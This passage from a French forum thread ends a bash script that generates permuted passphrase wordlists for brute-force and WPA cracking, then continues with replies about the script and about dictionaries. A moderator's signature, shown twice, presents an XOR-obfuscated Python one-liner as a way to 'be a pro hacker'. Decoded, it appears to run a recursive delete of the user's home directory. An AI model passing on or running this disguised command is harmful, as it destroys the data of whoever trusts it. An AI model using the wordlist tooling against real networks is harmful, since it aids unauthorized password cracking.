		Mode compression : les données sont directement compressée , le mode verbeux n'est pas compatible .
	-P <NBR_PHRASES>
		Limiter la création de  phrases à <NBR_PHRASES> ( par défaut limité à 1000000 )
	-s <SEPARATEUR>
		Utilise <SEPARATEUR> comme séparateur entre chaque mot (SEPARATEUR=" " par défaut) .
	-h
		Affiche ce message		
		
	Exemple d'utilisation :
	
	# Créer 1000000 de phrases de 5 mots basé sur les mots de 2 à 8 caractères de dico.txt , utiliser ':'  comme séparateur , le fichier est compressé au format 7z :
	
	$0 -l 2 -L 8 -w 5 -i dico.txt -C -P 1000000 -s ":"
	
	# Créer des phrases de 3 mots basé sur les mots inférieur à 4 caractères de dico.txt , aucunes confirmation n'est nécessaire :
	
	$0  -L 4 -w 3 -i dico.txt -y
	
	# Créer des phrases de 3 mots dans  123456789.txt basé sur les mots de 1 à 4 caractères de dico.txt , limité à 1000000 phrases , toutes les combinaisons sont affichées sur la sortie standars :
	
	$0  -i dico.txt -v
	
	# Lire une archive créée avec ${0##*/} :
	
	$0  -r 1234567890.7z"
}

##################
## Pas de sortie standard ##
##################

function PERMQUICK()
{
	TMP="${TIME}_PASSE_${PASSE}.txt"
	BOUCLE=""
	while read WORD
	do
		if [[ -n "$WORD" ]]
		then
			(( BOUCLE++ ))
			if [[ "$NULL" = "sep" ]]
			then
				grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g" | sed -e "s/ /$SEP/g"
			else
				grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g"
			fi
		fi
		if [[ "$BOUCLE" = "$MAX" ]]
		then
		return 0
		fi
	done < "$DICO" | head -n "$MAX" > "$TMP"
}

##############
## Sortie standard ##
##############

function PERMTEE()
{
	TMP="${TIME}_PASSE_${PASSE}.txt"
	BOUCLE=""
	while read WORD
	do
		if [[ -n "$WORD" ]]
		then
			(( BOUCLE++ ))
			 if [[ "$NULL" = "sep" ]]
			then
				grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g" | sed -e "s/ /$SEP/g"
			else
				grep -v -w "$WORD" "$NEW" | sed -e "s/^/$WORD /g"
			fi
		fi
		if [[ "$BOUCLE" = "$MAX" ]]
		then
		return 0
		fi
	done < "$DICO" | head -n "$MAX" | tee -a "$TMP" | sed -e "s/ /$SEP/g"
}

############
## Compression ##
############

function PERMX()
{	
	TMP="${TIME}_PASSE_${PASSE}.7z"
	BOUCLE=""
	while read WORD
	do
		if [[ -n "$WORD" ]]
		then
			(( BOUCLE++ ))
			7z e  "$NEW" -so 2>/dev/null | grep -v -w "$WORD" | sed -e "s/^/$WORD /g"
		fi
		if [[ "$BOUCLE" = "$MAX" ]]
		then
		return 0
		fi
	done < "$DICO" | head -n "$MAX" | 7z a "$TMP" -si &>/dev/null
}

############
## Permutation ##
############

function PERMUTE()
{
	if [[ "$1" = "2" ]]
	then
		ARCH="${TIME}_PASSE_1.7z"
		7z a "$ARCH" "$NEW"  &>/dev/null
		rm "$NEW"
		NEW="$ARCH"
		(( SEQ-- ))
	fi
	while [[ ! "$NUM" = "$SEQ" ]]
	do
		PASSE="$(( NUM + 1 ))"
		if [[ "$PASSE" = "$SEQ" ]]
		then
			if [[ "$NULL" = "0" ]]
			then
				NULL="sep"
			fi
			if [[ ! "$COMPRESSE" = "0" ]]
			then
			MAX="$NBRM"
			fi
		fi
		case "$1" in
			0)
				PERMQUICK;;
			1)
				PERMTEE;;
			2)
				PERMX;;
		esac
		mv -f  "$TMP"  "$NEW"
		(( NUM++ ))
	done
	if [[ "$1" = "2" ]]
	then
		7z a  "$NEW" "$DICO" &>/dev/null
		echo "SEP=\"$SEP\"" > "${TIME}_DICO.sep"
		7z a  "$NEW"  "${TIME}_DICO.sep" &>/dev/null
		rm "${TIME}_DICO.sep" "$DICO"
		DICO="${TIME}_DICO.7z"
	fi
	mv -f "$NEW" "$DICO"
}

###########
## Nettoyage ##
###########

function CLEAN()
{
	rm "$DICO"
	if [[ -d "$WDIR" ]]
	then
		rmdir "$WDIR"
	fi
}

###########################################
## Convertion octets -> Kio -> Mio -> Gio -> Tio -> Pio -> Eio -> Zio -> Yio ##
###########################################

function CONVERTION()
{
	COUNT="1024"
	
	for i in K M G T P E Z Y
	do
	if COMPARE "$1" "$COUNT"
	then
		CONV="$(bc<<<"scale=2; $1/$COUNT")"
		echo "Soit $CONV $i"io 1>&2
		COUNT="$(bc<<<"$COUNT*1024")"
	else
		return 0
	fi
	done
}

################################################
## Résoudre le probleme des chaines longues dans les comparaisons nnumériques ##
################################################

function COMPARE()
{
	ZERO="$(bc<<<"$1<=$2")"
	return "$ZERO"
}

###################
## Lire une archive ULTRA ##
###################

function READ()
{
	ZIP="$1"
	NOM_ZIP="$(basename "$1")"
	DICT="$(echo "$NOM_ZIP" | cut -d'.' -f1)"
	TXT_DICT="$DICT.txt"
	TXT_SEP="$DICT.sep"
	eval $(7z e -so "$ZIP" -- "$TXT_SEP" 2>/dev/null | cat)

	while read WORD
	do
		if [[ es"$SEP"pace = "es pace" ]]
		then
			7z e -so "$ZIP" -- "$DICT" 2>/dev/null | grep -v -w "$WORD" | sed -e "s/^/$WORD /g"
		else
			7z e -so "$ZIP" -- "$DICT" 2>/dev/null | grep -v -w "$WORD" | sed -e "s/^/$WORD /g" | sed "s/ /$SEP/g"
		fi
	done <<<"$(7z e -so "$ZIP" -- "$TXT_DICT" 2>/dev/null | cat)"
}

################
## On parse les options ##
################

while getopts ":l:L:w:i:d:r:P:s:vyCh" OPT_PASS
do
	case "$OPT_PASS" in
	l)
		LONGMIN="$OPTARG";;
	L)
		LONGMAX="$OPTARG";;
	w)
		SEQ="$OPTARG";;
	i)
		ORIGINAL="$OPTARG"
		if [[ ! -e "$ORIGINAL" ]]
		then
			echo "Le fichier n'existe pas"
			exit 1
		fi
		DIR="${ORIGINAL%/*}";;
	v)
		VITESSE="1";;
	d)
		WDIR="$OPTARG"
		mkdir -p "$WDIR"
		DIR="$WDIR";;
	y)
		REPONSE="y";;
	C)
		COMPRESSE="0";;
	r)
		ZIP="$OPTARG"
		if [[ ! -e "$ZIP" ]]
		then
			echo "Le fichier n'existe pas"
			exit 1
		fi
		if [[ "$(file "$OPTARG" | grep -w "7-zip")" = "1" ]]
		then
			echo "Cette archive n'est pas pris en charge"
			exit 1
		fi
		READ "$ZIP"
		exit 0;;
	P)
		NBRM="$OPTARG";;
	s)
		SEP="$OPTARG"
		NULL="0";;
	h)
		HELP
		exit 0;;
	*)
		HELP
		exit 1;;
	esac
done

#################
## Pas d'options -> help ##
#################

if [[ "$(echo "$@"no)" = "no" ]]
then
	HELP
	exit 1
fi
################################
## Le mode compression désactive le mode verbeux ##
################################


if [[ "$COMPRESSE" = "0" ]]
then
	if  [[ "$VITESSE" = "1" ]]
	then
		echo -e "Le mode compression et le mode verbeux sont inccompatibles"
	exit 1
	fi
	VITESSE="2"
fi

##########################
## On se place dans le dossier de travail ##
##########################

cd "$DIR"

#####################################
## On trie le dictionnaire en fonction de la longeur des mots ##
#####################################

LONGX="$(bc<<<"$LONGMAX +1")"
sed   "/^.\{$LONGMIN\}/!d; /^.\{$LONGX\}/d" "$ORIGINAL" | sort -u | sort -R > "$DICO"

##################################
## On reccupere le nombre de mots du dictionnaire trié ##
##################################

LIGNE="$(wc -l "$DICO" | cut -d' ' -f1)"
MULTIPLI="$LIGNE"

#############################################################
## Si le nombre de mots par phrases à créer est supérieur au nombre de mot du dictionnaire , on quitte ##
#############################################################

if COMPARE   "$SEQ"  "$LIGNE"
then
	echo "Le nombre de mots composants la phrase doit être égal ou inférieur au nombre de mots composants le dictionnaire :
	Nombre de lignes du dictionnaire : $LIGNE
	Nombre de mots par phrase :$SEQ "
	rm "$DICO"
	exit 1
fi

###########################
## Calcul du poid et du nombre de phrases ##
###########################

POID="$(stat -c %s "$DICO")"
PMOY="$(bc<<<"$POID/$LIGNE")"
MAX="$(bc<<<"($NBRM/($LIGNE-$SEQ))+1")"

while [[ "$NBR" != "$SEQ" ]]
do
	(( NBR ++ ))
	MULTIPLI="$(bc<<<"$MULTIPLI - 1")"
	FACT="$(bc<<<"$FACT*$MULTIPLI")"
done

PHRASE="$(bc<<<"$LIGNE*$FACT")"
TOTAL="$(bc<<<"$POID*$FACT*$SEQ")"
PTOT="$(bc<<<"$PMOY*$SEQ*$NBRM")"

if COMPARE "$NBRM" "$PHRASE"
then
	PTOT="$TOTAL"
	NBRM="$PHRASE"
fi

if [[ "$VITESSE" = "2" ]]
then	
	TOTAL="$(bc<<<"($TOTAL+$POID)/(33*$MULTIPLI)")"
	PTOT="$(bc<<<"($PTOT+$POID)/(33*$MULTIPLI)")"
fi


##################################################
## On invite l'utilisateur à choisir si oui ou non il souhaite exploser son disque dur :) ##
##################################################

LIBRE="$(bc<<<"$(df "$DICO" | grep dev | awk '{ print $4 }')*1024")"
echo "Espace libre disponible : $LIBRE octets"
CONVERTION "$LIBRE"

echo -e "\n\
Nombre de lignes du dictionnaire : $LIGNE
Longueur minimal des mots : $LONGMIN
Longueur maximal des mots : $LONGMAX
Nombre de mots par phrase : $SEQ
Nombre de phrases à générées : $PHRASE
Poid du fichier généré : $TOTAL octets"
CONVERTION "$TOTAL"

echo -e "\n\
Nombre de phrases limitées à : $NBRM
Poid supposé du fichier généré : $PTOT octets"
CONVERTION "$PTOT"

if COMPARE "$PTOT" "$LIBRE"
then
	echo -e "\nVous ne disposez pas de l'espace disque nécessaire !\nVeuillez corriger les options sélectionnées ."
	exit 1
fi

##############
## On lance la bête ##
##############

if [[ "$REPONSE" = "n" ]]
then
	echo -e "\nSouhaitez vous poursuivre ?\n[y/n]" 1>&2
	read REPONSE
else
	echo -e "\nExécution sans confirmation" 1>&2
fi


case "$REPONSE" in
	y) 
		cp "$DICO" "$NEW"
		time PERMUTE "$VITESSE";;
	n)
		echo "On quitte"
		CLEAN
		exit 0;;
	*)
		echo "Choix invalide , on quitte ."
		CLEAN
		exit 1;;
esac

TOTAL="$(stat -c %s "$DICO")"

##############################
## Quelques informations sur le fichier produit ##
##############################

echo -e "\n\
Fichier de sortie : $DIR/$DICO
Poid du fichier produit : $TOTAL octets" 1>&2
CONVERTION "$TOTAL"
echo -e "\nSouhaitez vous vérifier le nombre de phrases générées ?\nAttention cette opération peut être très longue\n[y/n]" 1>&2
read VERIF
if [[ "$VERIF" = "y" ]]
then
	if [[ "$VITESSE" = "2" ]]
	then
		NBR_PH="$(READ "$DICO" | wc -l | cut -d' ' -f1)"
	else
	NBR_PH="$(wc -l "$DICO" | cut -d' ' -f1)"
	fi
	echo -e "\nNombre de phrases générées : $NBR_PH" 1>&2
fi

exit 0

Dernière modification par Yannou90 (04-02-2013 00:43:57)

Hors Ligne

#14 18-10-2013 13:37:14

yasser
N00b
Inscription : 18-10-2013
Messages : 1

Re : [ BASH SCRIPT ] Brute-force intelligent

salam
stp comment telecharger un dic wpa ou wpa2

Hors Ligne

#15 18-10-2013 14:49:21

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : [ BASH SCRIPT ] Brute-force intelligent

Yasser, ne dévie pas les sujets avec des questions qui n'ont rien à voir, ici nous oarlons du script de yannous
Tu as ne section entière dédiée aux dictionnaires, jettes y un coup d'oeil tu as de quoi t'amuser. wink
fichier dictionnaires pour le crack WPA
Nous avons aussi une section présentation des membres, histoire de faire connaissance sans se prendre la tête. wink
Présentation des membres

Hors Ligne

#16 24-10-2013 10:27:00

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : [ BASH SCRIPT ] Brute-force intelligent

Je me permet de t'inciter à mettre ton code sur un site de partage de code (au hasard github).

Pour ce qui est d'avoir une liste de mots, (tous les mots),

/usr/share/dict/french

est ton ami, cela dit, rien n'y est trié.
Sans vouloir te heurter, j'ai réalisé de même en C pour faire des tests de parcours d'ensemble pour https://github.com/qolund/wep-yolo, c'est disponible ici : https://github.com/qolund/derp/blob/mas … ler/main.c pour le mélange de dictionnaire et ici : https://github.com/qolund/derp/blob/mas … ker/main.c pour le parcours de charset.

Prends-en de la graine, ça ne pourra que te faire du bien de passer du scripting bash à l'utilisation d'un vrai langage wink


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#17 28-10-2013 12:46:48

Yannou90
Membre Radioactif
Inscription : 26-01-2013
Messages : 74
Site Web

Re : [ BASH SCRIPT ] Brute-force intelligent

Bonjour spawn

j'ai bien aimé le "prends en de la graine" , mais je ne me défini pas comme un "super développeur" !
J'utilise bash car c'est un interpreteur qui me satisfait pleinement , et surtout , je suis auto-didacte !

Il est bien evident qu'utiliser "un vrai langage" permettrait toutes les folies , mais je suis une vieille chose , et malgres mes efforts , seul , il est tres difficile pour moi de me convertir ou d'apprendre a maîtriser un tel langage.

Maintenant je ne suis pas "neuneu" , je sais dechiffrer le C , C++ et autre , je l'ai deja demontrer sur d'autre projet comme le hack du kernel du htc pico/explorer/Ae310 ou j'ai introduit le support des systemes de fichier ext2/3/4 ainsi que la modification de la table acpu l'overclock (+50%) , le portage du kernel 3.0.16 , son premier boot , le debogage et le premier a faire fonctionner les data , bref je suis pas si nul que çà ( overclock , portage)

J'ai parcouru ton code source mais je suis desole , il ne permet pas du tout de faire la meme chose :
- tu ne permet pas d'utiliser un fichier contenant des miliers de mots
- ton code necessite de mettre en option les mots que tu souhaite permuter et a mon avis avec une liste de quelques milliers de mots je craind un vieux crash de la machine
- tu permets les repetitions

Je conclu en approuvant une de tes reflexion : oui permute.sh est interpreté et oui en C++ ce serait une pure bombe , mais non ton code n'a rien avoir et ne permet pas du tout la même chose

Je te remercie tout de même pour ton code , simple , clair , productif : bravo mais rien avoir ...

PS : sympa ta signature , mais c'est vraiment pas gentil , noob s'abstenir lol

Dernière modification par Yannou90 (28-10-2013 12:48:00)

Hors Ligne

#18 28-10-2013 16:32:39

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 006

Re : [ BASH SCRIPT ] Brute-force intelligent

smile


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Sujets similaires

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.067 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]